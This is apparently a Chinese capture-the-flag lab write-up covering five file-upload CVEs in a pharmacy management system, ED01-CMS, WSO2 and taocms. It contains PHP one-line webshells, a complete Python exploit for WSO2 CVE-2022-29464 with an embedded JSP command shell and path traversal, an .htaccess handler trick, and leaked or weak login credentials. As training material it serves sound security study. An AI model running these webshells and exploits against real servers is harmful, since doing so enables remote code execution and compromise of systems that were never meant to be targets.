CVE-2022-30887
漏洞介绍:
多语言药房管理系统 (MPMS) 是用 PHP 和 MySQL 开发的, 该软件的主要目的是在药房和客户之间提供一套接口,客户是该软件的主要用户。该软件有助于为药房业务创建一个综合数据库,并根据到期、产品等各种参数提供各种报告。 该CMS中php_action/editProductImage.php存在任意文件上传漏洞,进而导致任意代码执行。
【春秋云镜 CVE-2022-30887wp】_mayuri k-CSDN博客
根据提示知道这是一个文件上传漏洞,但前面根本没有什么提示,进不去,看了师傅们的WP,发现前面需要社工,可以看看上面的WP,怎么社工得到邮箱和账号,这儿略过。。。永远不会社工
邮箱密码:
mayuri.infospace@gmail.com/mayurik
登录成功之后
进去之后,找了半天也之后这个地方能够上传文件
上传一句话木马,并抓包
GIF89a
<?php eval($POST_['123']);?>
看见了上传成功,放包
可以看见,我们已经上传上去了,复制图像链接,也就是我们上传文件的位置
使用蚁剑链接,得到flag
关于官方的POC:官方主要是构造数据包,然后上传成功后,访问shell得到flag
https://nvd.nist.gov/vuln/detail/CVE-2022-30887#match-7988813
https://packetstormsecurity.com/files/166786/Pharmacy-Management-System-1.0-Shell-Upload.html
CVE-2022-28525
漏洞介绍:
ED01-CMS v20180505 存在任意文件上传漏洞
打开环境,题目提示了是文件上传漏洞,找一找
点击其他页面,都找不到,右上角有一个登录界面,去看一看
试了试弱口令密码,登录成功
admin/admin
找到了一个文件上传的点
这儿上传不了,去看看师傅们的WP,发现上传点在这儿
我们上传一句话木马,BP抓包
上传成功,在用户里我们可以看见我们添加的用户,复制我们的图片链接,就是我们上传木马的位置
再使用蚁剑链接,得到flag
CVE-2022-29464
漏洞介绍:
WSO2文件上传漏洞(CVE-2022-29464)是Orange Tsai发现的WSO2上的严重漏洞。该漏洞是一种未经身份验证的无限制任意文件上传,允许未经身份验证的攻击者通过上传恶意JSP文件在WSO2服务器上获得RCE。
打开环境
随便输了admin/admin就登进去了,然后找了很久什么都没有找到,一点思路没有
再去看看漏洞介绍:该漏洞是一种未经身份验证的无限制任意文件上传,允许未经身份验证的攻击者通过上传恶意JSP文件在WSO2服务器上获得RCE。
JSP:JSP(JavaServer Pages)文件是一种用于创建动态网页的技术,由Sun Microsystems(现为Oracle)开发。JSP文件本质上是嵌入了Java代码的HTML文件,扩展名为“.jsp”。
第一种方法:
GITHUB上有exp攻克WSO2文件上传漏洞(CVE-2022-29464)
GitHub - hakivvi/CVE-2022-29464: WSO2 RCE (CVE-2022-29464) exploit and writeup.
源码:
import requests # 用于发送HTTP请求
import urllib3 # 用于处理HTTP库的警告
import sys # 用于访问命令行参数
# 禁用由于忽略SSL证书验证而产生的警告
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
# 检查命令行参数的数量是否为3,如果不是则提示用法信息并退出
if len(sys.argv) != 3:
print(f"Usage: python3 {sys.argv[0]} https://host shell.jsp")
exit()
# 获取命令行参数,host为目标URL,file为要上传的文件名
host, file = sys.argv[1:]
# 定义要上传的JSP Web Shell内容
shell = """<FORM>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
String output = "";
if(cmd != null) {
String s = null;
try {
Process p = Runtime.getRuntime().exec(cmd,null,null);
BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream()));
while((s = sI.readLine()) != null) { output += s+"</br>"; }
} catch(IOException e) { e.printStackTrace(); }
}
%>
<pre><%=output %></pre>"""
# 准备要上传的文件字典,其中键为文件路径,值为文件内容
# 文件路径通过路径遍历技术指向目标目录
files = {f"../../../../repository/deployment/server/webapps/authenticationendpoint/{file}": shell}
# 发送HTTP POST请求,将文件上传到指定的服务器路径
response = requests.post(f'{host}/fileupload/toolsAny', files=files, verify=False)
# 打印上传的Web Shell的访问路径
print(f"shell @ {host}/authenticationendpoint/{file}")
再python环境下运行
python3 exploit.py https://eci-2ze2ykvfn47i7pobr5im.cloudeci1.ichunqiu.com:9443/ shell.jsp
然后我们访问/authenticationendpoint/shell.jsp
ls
ls /
cat /flag
第二种方法:
我们可以使用BP抓包后修改参数,但是我复现的时候并没有成功,不知道为什么
CVE-2022-25578
漏洞介绍:
taocms v3.0.2允许攻击者通过编辑.htaccess文件执行任意代码
Taocms是一个完善支持多数据库(Sqlite/Mysql)的CMS网站内容管理系统,是国内最小且功能完善的基于php+SQLite/Mysql的CMS管理系统。该系统体积小、速度快,包含文件管理、数据采集、Memcache整合、用户管理等强大功能,且跨平台运行,支持SAE、BAE云服务,以及阿里云虚拟主机。
打开环境,一个管理员界面
点击下面的管理进入登录界面
使用BP抓包爆破登录名和密码
得到admin/tao,登录
打开文件管理,修改.htaccess文件
AddType application/x-httpd-php .jpg
然后找一个php文件,我找的是rss.php,在里面编辑一句话木马
<?php eval($_POST['shell']);?>
保存后访问rss.php
http://eci-2zedoyqdrfqlliniivvc.cloudeci1.ichunqiu.com/rss.php
shell=system('ls');
shell=system('ls /');
shell=system('cat /flag');
CVE-2022-23880
漏洞介绍:
taoCMS v3.0.2 文件管理处存在任意文件上传漏洞,攻击者可执行任意代码
打开环境,和CVE-2022-25578漏洞很像,使用CVE-2022-25578漏洞的账号密码登录成功
然后我们在文件管理这儿新建一个php文件,我新建的是shell.php
然后编辑,写入一句话木马
<?php eval($_POST['shell']);?>
保存后我们访问shell.php ,然后POST传参执行命令
shell=system('ls');
shell=system('ls /');
shell=system('cat /flag');
漏洞分析:
这个文件上传漏洞没有对任何内容进行过滤,对特殊函数也没有禁用,导致漏洞利用,在我们保存内容时,可以发现是向admin.php 直接发送请求包,然后调用action:file,我们可以去查找include/Model/file.php这个文件进行分析
可以发现,它未对数据进行过滤,所以我们直接到保存的函数上看,发现他是直接调用 file_put_contents 这个方法直接保存文件,中间没有进行其他过滤从而产生的文件上传漏洞